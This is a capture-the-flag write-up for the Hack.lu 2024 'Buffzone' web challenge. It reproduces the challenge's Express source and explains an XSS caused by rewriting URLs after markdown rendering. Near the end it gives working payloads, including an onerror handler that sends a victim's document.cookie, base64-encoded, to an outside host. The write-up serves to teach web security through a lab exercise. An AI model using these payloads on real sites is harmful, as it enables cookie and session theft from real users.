Hack.lu CTF 2024 | Buffzone (Web, XSS)

Difficulty: Medium

I participated in Hack.lu this weekend, it has been a very difficult CTF but I managed to solve only the easiest task which wasn't easy by any means.

Let's start by reading the Code :

app.js :

const express = require('express')
const markdownit = require('markdown-it');
const puppeteer = require('puppeteer');
const rateLimit = require("express-rate-limit");


const BASEDOMAIN = process.env.BASEDOMAIN;
const FLAG = process.env.FLAG;

const md = markdownit()
const limiter = rateLimit({
	windowMs: 1 * 60 * 1000, 
	limit: 1, 
    message: "Too many requests, please try again later."
})


const app = express();
app.set('trust proxy', 1);
app.use(express.json());
app.use(express.static("public"))
app.set('view engine', 'pug');


function replaceUrls(text) {
    let regex = /(https:\/\/.*?)\s/gi;
    let replacedText = text.replace(regex, '<a href="$1">$1</a>');
    return replacedText;
}


app.get("/", (req, res) => {
    res.render("index")
});

app.get("/buffzone", (req, res) => {
    let message = req.query.message;
    if (message) {
        res.render("buffzone", { message: replaceUrls(md.render("**" + message + "**")) })
    }
    else {
        res.redirect("/")
    }
});

async function adminVisits(message){
    const browser  = await puppeteer.launch({
        headless: true,
        args: [
            // disable stuff we do not need
            '--disable-gpu', '--disable-software-rasterizer', '--disable-dev-shm-usage',
            // disable sandbox since it does not work inside docker
            // (but we will use seccomp at least)
            '--no-sandbox',
            // no exploits please
            "--js-flags=--noexpose_wasm,--jitless",
        ],
        ignoreHTTPSErrors: true
    });
    const page = await browser.newPage();
    let url =`http://${BASEDOMAIN}/buffzone?message=${encodeURIComponent(message)}`;
    try {
        await page.setCookie({
            name: 'flag',
            value: FLAG,
            domain: BASEDOMAIN,
            path: '/',
            httpOnly: false,
            secure: false
        });

        await page.goto(url, { waitUntil: 'networkidle2' });
        console.log(`Successfully visited: ${url}`);
    } catch (error) {
        console.error(`Error visiting ${url}:`, error);
    }
    await browser.close();
}


app.get("/lambdaQuote", limiter, (req, res) => {
    let message = req.query.message;
    if (message) {
        console.log(`Bot visiting ${message}, from ip ${req.ip}.`);
        try {
            adminVisits(message)
        } catch (error) {
            console.log(error)
            return res.status(500).send("An error occurred")
        }
        return res.status(200).send("Message sent to admin for review!")
    }
    else {
        return res.status(400).send("No message provided")
    }
});

app.listen(80, () => {
    console.log("Server running on port 80");
});

We can see the message passes through 2 phases that change it's contents, the first is that it finds links that start with https:// and transforms them into html anchor tags :

function replaceUrls(text) {
    let regex = /(https:\/\/.*?)\s/gi;
    let replacedText = text.replace(regex, '<a href="$1">$1</a>');
    return replacedText;
}

the next thing is that it renders the modified message into markdown :

res.render("buffzone", { message: replaceUrls(md.render("**" + message + "**")) })

so we need to create an image using the markdown rendering feature, the problem here is the onerror argument that needs to be put in the image, for that we need to inject it using a fake url in the alt feature of the markdown.

a working payload for us would look like this :

test** !["https:///onerror=alert(1);a="](http://test.txt) **test

now we can add in our fetch function to get the cookie, but first this challenge only accepts to fetch to https endpoints

so in order to avoid the replaceUrls feature we need to concat the https letters,

test** !["https:///onerror=fetch("http"+"s"+"://{URL}?cookie="+btoa(document.cookie));a="](http://test.txt) **test

After that you report the link to the bot and get the flag.

You need to decode it from base64 though.

Last updated